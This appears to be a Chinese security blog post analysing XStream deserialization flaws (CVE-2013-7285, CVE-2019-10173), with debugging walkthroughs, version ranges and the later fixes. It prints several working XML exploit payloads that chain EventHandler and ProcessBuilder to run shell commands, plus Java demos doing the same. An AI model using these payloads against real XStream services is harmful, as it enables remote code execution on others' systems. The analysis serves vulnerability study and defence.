Diggid's Blog

XStream 反序列化漏洞(1) - 漏洞浅析

字数统计: 4.7k阅读时长: 19 min
2021/08/13 Share

前言

看了Jackson、weblogic这些洞,发现很多原理及利用方式和xml解析有很大关系,所以顺着就继续学一下XStream系列的反序列化漏洞。

看XStream反序列化的时候我的学习方式:

基本概念

一张图可以概括,摘自https://paper.seebug.org/1417/#43-xstream

img

EventHandler的动态代理

EventHandler可以作为动态代理类的handler,因为其实现了InvocationHandler。在设置target和action两个属性值后,在动态代理触发时可以调用任意类(target)的任意方法(action)。底层是使用MethodUtil#invoke来实现的。

Demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import java.beans.EventHandler;
import java.lang.reflect.Proxy;

public class Demo5 {
public static void main(String[] args) {
Object target = new ProcessBuilder("open", "/System/Applications/Calculator.app");
String action = "start";
// 传入target、action
EventHandler handler = new EventHandler(target, "start", null, null);
// 创建代理类代理Comparable接口
Comparable proxy = (Comparable) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Comparable.class},
handler);
// 调用compareTo方法,实际上是调用EventHandler#invoke来处理,后面就会触发ProcessBuilder.start()
proxy.compareTo(new Object());
}
}

调用链

调试一下,下断在proxy.compareTo(new Object());

执行后调用EventHandler#invoke方法

image-20210814165451346

之后在AccessController基于安全继续执行EventHandler#invokeInternal方法

如果是可以直接处理的hashCode equals toString这三个方法的话,就直接处理并返回

image-20210814165638183

否则就用target和action来获取targetMethod,并使用MethodUtil.invoke来调用targetMethod

image-20210814165938678

底层实现

接下来就分析一下MethodUtil.invoke在底层是如何通过反射调用来执行targetMethod的。

跟进MethodUtil#invoke方法

image-20210814170148522

看一下这个bounce是什么,这里回溯一下

image-20210814170214971

继续跟进getTrampoline()

image-20210814170242729

先使用MethodUtil.getTrampolineClass()来获取Trampoline类,该类是一个反射调用的封装类(default,且无法通过BootStrapClassLoader来加载),其中有invoke方法(private static)在实现了反射调用执行method

image-20210814170550340

image-20210814170539309

所以这里的MethodUtil其实也是个ClassLoader,其继承了SecureClassLoader,重写了loadClass方法,目的就是为能够加载Trampoline

image-20210814170704910

回到getTrampoline()中,获取到Trampoline类后,就是很正常的取出其invoke方法,设置访问控制权然后返回该方法,所以bounce就是(Method)Trampoline#invoke

image-20210814170936576

总结一下就是反射调用经过两层封装,最后我们方便使用的就是MethodUtil#invoke。参数关系如下

1
2
3
     MethodUtil.invoke(method,obj,args)
-> Trampoline.invoke(null,new Object[]{method,obj,args})
-> method.invoke(obj,args)

这里给两个Demo提炼出其中过程

  • Demo3:调用Trampoline#invoke
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package demo;

import sun.reflect.misc.MethodUtil;

import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class Demo3 {
public static void main(String[] args) throws Exception{
// 初始化MethodUtil
Class methodutil = Class.forName("sun.reflect.misc.MethodUtil");
Constructor ctr = methodutil.getDeclaredConstructors()[0];
ctr.setAccessible(true);
MethodUtil obj = (MethodUtil) ctr.newInstance();
// 使用MethodUtil来加载Trampoline,否则会报错,因为BootstrapcClassLoader不能加载
Class cls = Class.forName("sun.reflect.misc.Trampoline", true, obj);
// 获取invoke方法
Method inv = cls.getDeclaredMethod("invoke", new Class[]{Method.class, Object.class, Object[].class});
inv.setAccessible(true);
// 执行invoke方法
String[] cmd = new String[]{"open", "/System/Applications/Calculator.app"};
ProcessBuilder pb = new ProcessBuilder(cmd);
Method start = pb.getClass().getDeclaredMethod("start", new Class[0]);
inv.invoke(null, new Object[]{start, pb, new Object[0]});
}
}
  • Demo4:调用MethodUtil#invode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package demo;

import sun.reflect.misc.MethodUtil;

import java.lang.reflect.Method;

public class Demo4 {
public static void main(String[] args) throws Exception{
// 直接调用MethodUtil.invoke,是Trampoline.invoke的封装,Tranpoline又是底层反射method.invoke的封装
// MethodUtil.invoke(method,obj,args)
// Trampoline.invoke(null,new Object[]{method,obj,args})
// method.invoke(obj,args)
String[] cmd = new String[]{"open", "/System/Applications/Calculator.app"};
ProcessBuilder pb = new ProcessBuilder(cmd);
Method start = pb.getClass().getDeclaredMethod("start", new Class[0]);
MethodUtil.invoke(start, pb, new Object[0]);
}
}

CVE-2013-7285 & 2019-10173

基于SortedSet

影响范围

  • 1.4.5
  • 1.4.6
  • 1.4.10

下面会分析为何无法通杀的原因

POC

  • poc1.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string><![CDATA[open /System/Applications/Calculator.app]]></string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

<interface>标签表示代理的接口,还可以换成java.time.chrono.ChronoLocalDateTime等具有CompareTo方法的接口类,笔者找到的合适的还有

  • java.time.chrono.ChronoLocalDateTime
  • com.sun.javadoc.Doc

同时<sorted-set>还可以替换为(根标签才能这么替换,其他的需要根据具体的Converter来决定)

  • <java.util.SortedSet>
  • <xxx class="sorted-set">
  • <xxx class="java.util.SortedSet">

因为sorted-set经过mapper获取后就是java.util.SortedSet,而标签添加class可以理解为class属性值是标签值的替代

调试分析

解析根标签

由于知道了Source点和Sink点,所以我们下断在开始的xstream.fromXML()EventHandler#invoke

跟进到XStream#unmarshal方法中,可以看到获取具体解析策略,并调用其unmarshal方法。根据前面对XStream解析模式的分析,包括ReferenceByXPath、ReferenceById、Tree(no Rerference)三种解析策略。这里获取到的是ReferenceByXPathMarshallingStrategy

image-20210815143116336

image-20210815143057094

跟进AbstractTreeMarshallingStrategy#unmarshal,获取解析上下文,这里获取到的是ReferenceByXPathUnmarshaller,继承关系如下

image-20210815143612377

image-20210815143516919

image-20210815143627211

调用ReferenceByXPathUnmarshaller#start开始解析,实际是调用TreeUnmarshaller#start。在该方法中,先调用HierarchicalStreams.readClassType()来获取根元素(标签)的类型,再调用this.convertAnother()来继续解析根元素的其他子元素。

image-20210815143806216

跟进readClassType()方法,先根标签的解析class属性,如果有class属性的话,那么解析的对象就是class属性的值,否则就是标签的值,可以理解为class属性替代了标签值。mapper默认先是CachingMapper,也就是缓存的mapper,而mapper的作用是通过标签名解析来寻找对于的类名。且寻找的机制有点类似与类加载的委派机制。如果子mapper找不到的话,就会委托给逻辑父mapper来找(注意这里是逻辑父mapper,在代码上不一定有继承关系,而是用MapperWrapper抽象类来作为每个mapper的封装父类,其中的wrapped变量定义了每一个mapper的逻辑父mapper)

image-20210815143959689

跟进CachingMapper.readClass()。先在一个缓存Map中获取(即是否有前面已经解析过的缓存),这里是第一次解析,所以没有,然后就会调用父mapper的readClass来解析。

image-20210815145117854

根据父mapper的逻辑优先级顺序,会经过一顿调用到ArrayMapper#readClass,该类重写了MapperWrapper的readClass方法。由于sorted-set并非-array结尾,所以进一步调用父mapper来解析

image-20210815145505415

调用到ClassAliasingMapper来解析,该类的nameToType变量规定了标签名到类名的的映射关系,所以根据映射关系,可以得到类名为java.util.SortedSet。如果我们设置的根标签是<java.util.SortedSet>,那么这里的mappedName就是null,最后的elementName也还是一样的是java.util.SortedSet

image-20210815145702943

image-20210815145741989

之后在委派到父级的PackageAliasingMapper处理后就会返回了,由于我们这里没设置类包的别名,所以这里还是原封不动,最后委派到DefaultMapper来通过之前解析出来的类名来反射获取类Class。

image-20210815150638672

获取到类java.util.SortedSet之后,返回到CachingMapper.readClass()中进行缓存,然后返回到TreeUnmarshaller#start中,继续调用this.convertAnother()来解析子标签。这里首先会进行一步转化,调用defaultImplementationOf(type)获取SortedSet接口的非内部实现类赋值给type,因为后面要初始化处理的话肯定得对类进行操作而非接口。所以这里获取到的是TreeSet

image-20210815151418404

image-20210815150938270

根据XStream中Converter的规定,TreeSet类获取到的是TreeSetConverter。同时,这里也会将类名和Converter缓存到DefaultConverterLookup.typeToConverterMapimage-20210815151535870

解析子标签(Converter#unmarshal)

在获取到Convert后,调用this.convert来正式开始解析子元素。解析过程使用到了FastStack堆栈数据结构以XPath的形式来保存标签元素。碰到起始标签就压栈该标签,碰到结尾标签就从栈中弹出,直到栈空则解析完毕。

image-20210815152448179

调用父类TreeUnmarshaller#convert继续解析。每一个标签的实际解析过程是在对应的Converter的unmarshal方法中实现的。根据不同类的成员变量结构,定制不同的unmarshal方法(也可以自己实现),所以调试unmarshal方法要结合类的结构来分析,否则可能会看不懂里面的一些操作

image-20210815152604347

由于获取到的根标签Converter的TreeSetConverter,跟进。首先判断有没有<comparator>标签,TreeSet是java中的一种数据结构,是Set的树结构形式,所以这里需要比较器。由于poc里没有设置,所以为null。

image-20210815153635537

image-20210815153148715

而Set类型的元素实际上是在内部维护的Map来存放的,因此比较或去重操作实际上也是Map来实现的。所以添加我们poc中的元素肯定会调用到TreeMap,而在TreeMap中可能就会调用比较的方法,比如CompareTo,因此就会触发动态代理类的handler的invoke方法,进而到RCE。具体来跟一下。

获取完TreeMap后,调用TreeSetConverter# 来进一步处理

image-20210815153946994

跟进,而底层的比较又是通过PresortedMap来实现的。继续跟进this.putCurrentEntryIntoMap,该方法添加子元素到PresortedMap中。其中的this.readItem用来解析子标签,比如这里的<string>foo</string>,过程和前面解析<sorted-set>一样。

image-20210815154307214

image-20210815154400829

image-20210815154542840

放置好第一个元素”foo”后,回到populateTreeMap中,继续调用this.populateMap(reader, context, result, sortedMap);来放置其他元素。

image-20210815161838067

接下来就到了<dynamic-proxy>标签的处理,和前面一样的获取过程,该标签获取到的type是DynamicProxyMapper$DynamicProxy,Converter是DynamicProxyConverter,所以之后会调用DynamicProxyConverter#unmarshal来具体解析子标签。

  • <interface>:可以有多个,表示代理的接口列表
  • <handler>:默认用class属性表示handler类,可以有别名

image-20210815155929962

解析完interface和handler后,初始化动态代理对象,然后再继续解析handler相关的子标签。而处理EventHandlerProcessBuilder用的Converter都是优先级最低的AbstractReflectionConverter,通过反射来处理标签,因此标签名和成员变量名是一致的

image-20210815160259141

处理EventHandler下的子标签结束后,返回DynamicProxyConverter#unmarshal中,可以看到handler的两个关键成员变量已经被装配完成了

image-20210815161028070

至此,proxy的解析也就完成了,然后返回到TreeMapConverter#populateTreeMap中,调用result.putAll(sortedMap);PresortedMap的两个元素放回TreeMap

image-20210815161714911

TreeSet通过TreeMap#putAll添加元素

跟进到TreeMap#put方法中,该方法中就是比较TreeMap的key(相当于TreeSet中的元素),以升序来排序。在防止完第一个元素”foo”后,可以看到,由于默认的comparator比较器为null,所以会调用元素自身的compareTo来进行比较,所以就会调用proxy.CompareTo触发动态代理从而调用EventHandler#invoke到RCE

1
2
3
put:568, TreeMap (java.util)
putAll:281, AbstractMap (java.util)
putAll:327, TreeMap (java.util)

image-20210815162728962

至此,整个流程就结束了,总结一下POC和解析的关键点。

  • POC的中标签的名称和父标签对应的Converter的unmarshal方法有关
  • TreeSet的初始化依赖TreeMap,TreeMap在没有比较器传入时,默认调用元素的CompareTo方法,因此会触发proxy.CompareTo

细节

无法通杀 <= 1.3.1

1.3.1及以下版本不支持对<sorted-set>标签的解析,具体原因是在ClassAliasingMapper.nameToType中没有规定sorted-set的映射关系,即使换成java.util.SortedSet也是不行的。

image-20210816100654114

所以运行时会报错

1
com.thoughtworks.xstream.mapper.CannotResolveClassException: sorted-set : sorted-set

无法通杀1.4 - 1.4.4

定位到TreeSetConverter#unmarshal方法,从前面的分析我们知道,这里就是恢复TreeSet的过程,而对于TreeSet的恢复,使用了两种策略:

  • 第一种:直接使用TreeSet#addAll(set)来添加预先放置在set(PresortedSet)中的元素,因此不会进行排序,而是按照添加顺序默认排序的
  • 第二种:调用TreeMap#putAll(map)经过排序后再添加回TreeSet。上面分析的就是第二种方式。

而XStream决定这两种策略的关键变量是sortedMapField

image-20210816103835528

image-20210816103905961

在1.4 - 1.4.4版本中,XStream对SortedSet的默认处理是使用的第一种方式,所以sortedMapField是null,导致treeMap也是null,这样最终就会调用result.addAll(set);来填充元素到TreeSet中,更底层一些只会调用TreeMap#addAllForTreeSet而并不会调用TreeMap#putAll,因此不会触发proxy.compareTo

无法通杀1.4.7 - 1.4.9

关于1.4.7 - 1.4.9无法通杀以及1.4.10又可以打通这一神奇现象,简单来说,就是开发人员整了个防御新活,同时把旧活删了,但新活默认不开(诶就是玩),因此又导致了原先的洞重新又可以打通了。

在1.4.7的ChangeLog中,对症下药把EventHandler给ban了

1
java.bean.EventHandler no longer handled automatically because of severe security vulnerability.

具体是在ReflectionConverter#canConvert()中,添加了对EventHandler的过滤。根据前面的分析我们也知道,EventHandler的是Converter是ReflectionConverter

image-20210816105703234

1.4.10又能成功了

在>=1.4.7版本之后,XStream提供了可自定义的安全过滤,用户可通过addPermission()、allowTypes()、denyTypes()等来设置黑白名单对类的convert进行限制。

在1.4.10,XStream推出了初始化默认安全框架的方法,也就是为用户默认集成好了一些过滤规则,是基于白名单的。但是默认不会开启,需要调用setupDefaultSecurity来开启。但离谱的是,同时把1.4.7的修复给删了,所以导致在未显式调用setupDefaultSecurity开启安全框架时,1.4.7之前的洞又成功了。

image-20210816110623319

基于TreeMap

其实根据前面对于SortedSet的分析,这一部分就很简单了,简单记录一下。

影响范围

通杀1.4.x系列有漏洞的版本

  • 1.4 - 1.4.6
  • 1.4.10

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<tree-map>
<entry>
<string>key</string>
<string>value</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string><![CDATA[open /System/Applications/Calculator.app]]></string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>xxx</string>
</entry>
</tree-map>

补充几点:

  • tree-map可以换成java.util.TreeMap
  • entry可以换成任意字符串,如xxx,原因在后面有解释

细节

调试分析参考sorted-set的,基本一样,只不过这里就是直接调用TreeMapConverter了,并且putCurrentEntryIntoMap使用的是原生的MapConverter中的,而TreeSetConverter中调用的TreeMapConverter#putCurrentEntryIntoMap是经过重写了的,set只解析key而不是像正常的map一样需要解析key和value

无法通杀 <= 1.3.1

前面的原因是无法解析sorted-set。而这里的原因是默认不支持反序列化没有设置comparator的TreeMap,也就是说子标签中没有<comparator>的话,就会报错

1
com.thoughtworks.xstream.converters.ConversionException: TreeMap does not contain <comparator> element

而我们不能设置<comparator class="xxx">,根据前面的分析也知道,没有comparator的时候才会默认调用元素的compareTo方法,如果有comparator的话比较逻辑就不一样的。

<entry>标签为何能替换为<xxx>

关于标签的解析,可以看三个点:

  • 根标签值或根标签class属性。根标签值和class属性等价
  • 具体标签Converter的unmarshal方法,不同的Converter定制不同的子标签。比如ReflectionConverter,其子标签写法
1
2
3
4
5
6
7
// field非对象(这里的对象指基本类型外,具有属性的)
<fieldName>value</fieldName>

// field是对象
<fieldName class="fieldType">
...
</fieldName>

而我们这里需要关注到TreeMapConverter#unmarshal,我们知道,具体解析TreeMap元素的方法在putCurrentEntryIntoMap。这里仅仅是通过多一层的moveDownmoveUp来将reader移动到<entry>下面的标签,而对entry的值并没有啥要求,因为直接就移过了,所以我们在包裹key-value标签的时候,只需要包裹任意标签即可(但不能省略)。

image-20210816150104597

基于接口

这种方式比较鸡肋,需要知道服务端动态代理的接口名,否则无法利用。原理:如果服务端使用XStream来恢复一个动态代理对象的话,后续肯定会调用该动态代理对象的其他方法,因此能够触发。

影响范围

通杀1.4.x系列有漏洞的版本

  • 1.4 - 1.4.6
  • 1.4.10

Demo

  • TestInface接口
1
2
3
4
5
package demo;

public interface TestInterface {
void doAction();
}
  • Test2.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package testpoc;

import com.thoughtworks.xstream.XStream;
import demo.TestInterface;
import java.io.FileInputStream;


public class Test2 {
public static void main(String[] args) throws Exception{
FileInputStream payload = new FileInputStream("src/main/java/poc/poc3.xml");
XStream xstream = new XStream();
TestInterface proxy = (TestInterface) xstream.fromXML(payload);
proxy.doAction();
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
<dynamic-proxy>
<interface>demo.TestInterface</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string><![CDATA[open /System/Applications/Calculator.app]]></string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>

漏洞修复

这种基于反序列化的洞的修复方式基本上都是黑白名单机制,所以这也是一样的

1.4.7 - 1.4.9

  • ReflectionConverter.canConvert()限制了EventHandler
  • XStream提供了一个安全框架供用户使用,但必须手工设置,可以调用addPermission()、allowTypes()、denyTypes()等建立黑白名单
1
2
3
4
5
6
7
8
9
10
11
12
13
14
XStream.addPermission(TypePermission);
XStream.allowTypes(Class []);
XStream.allowTypes(String []);
XStream.allowTypesByRegExp(String []);
XStream.allowTypesByRegExp(Pattern []);
XStream.allowTypesByWildcard(String []);
XStream.allowTypeHierary(Class);
XStream.denyPermission(TypePermission);
XStream.denyTypes(Class []);
XStream.denyTypes(String []);
XStream.denyTypesByRegExp(String []);
XStream.denyTypesByRegExp(Pattern []);
XStream.denyTypesByWildcard(String []);
XStream.denyTypeHierary(Class);

1.4.10

提供了XStream.setupDefaultSecurity()函数来设置XStream反序列化类型的默认内置白名单,其本质还是调用XStream提供的安全框架里的addPermission()、allowTypes()、denyTypes()等函数。但必须手工开启,否则还是存在漏洞

1.4.11之后

新增了一个内置在XStream中的Converter类InternalBlackList。过滤了EventHandler类、以javax.crypto.开头的类、以$LazyIterator结尾的类,匹配到了之后,unmarshal方法直接抛异常。并且InternalBlackList的优先级为PRIORITY_LOW高于ReflectionConverter的优先级PRIORITY_VERY_LOW。所以对于EventHandler类得到的Converter是InternalBlackList,因此后续调用InternalBlackList.unmarshal()直接抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private class InternalBlackList implements Converter {
private InternalBlackList() {
}

public boolean canConvert(Class type) {
return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
}

public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Security alert. Marshalling rejected.");
}

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Security alert. Unmarshalling rejected.");
}
}
CATALOG
  1. 1. 前言
  2. 2. 基本概念
  3. 3. EventHandler的动态代理
    1. 3.1. Demo
    2. 3.2. 调用链
    3. 3.3. 底层实现
  4. 4. CVE-2013-7285 & 2019-10173
    1. 4.1. 基于SortedSet
      1. 4.1.1. 影响范围
      2. 4.1.2. POC
      3. 4.1.3. 调试分析
        1. 4.1.3.1. 解析根标签
        2. 4.1.3.2. 解析子标签(Converter#unmarshal)
        3. 4.1.3.3. TreeSet通过TreeMap#putAll添加元素
      4. 4.1.4. 细节
        1. 4.1.4.1. 无法通杀 <= 1.3.1
        2. 4.1.4.2. 无法通杀1.4 - 1.4.4
        3. 4.1.4.3. 无法通杀1.4.7 - 1.4.9
        4. 4.1.4.4. 1.4.10又能成功了
    2. 4.2. 基于TreeMap
      1. 4.2.1. 影响范围
      2. 4.2.2. POC
      3. 4.2.3. 细节
        1. 4.2.3.1. 无法通杀 <= 1.3.1
        2. 4.2.3.2. <entry>标签为何能替换为<xxx>
    3. 4.3. 基于接口
      1. 4.3.1. 影响范围
      2. 4.3.2. Demo
      3. 4.3.3. POC
    4. 4.4. 漏洞修复
      1. 4.4.1. 1.4.7 - 1.4.9
      2. 4.4.2. 1.4.10
      3. 4.4.3. 1.4.11之后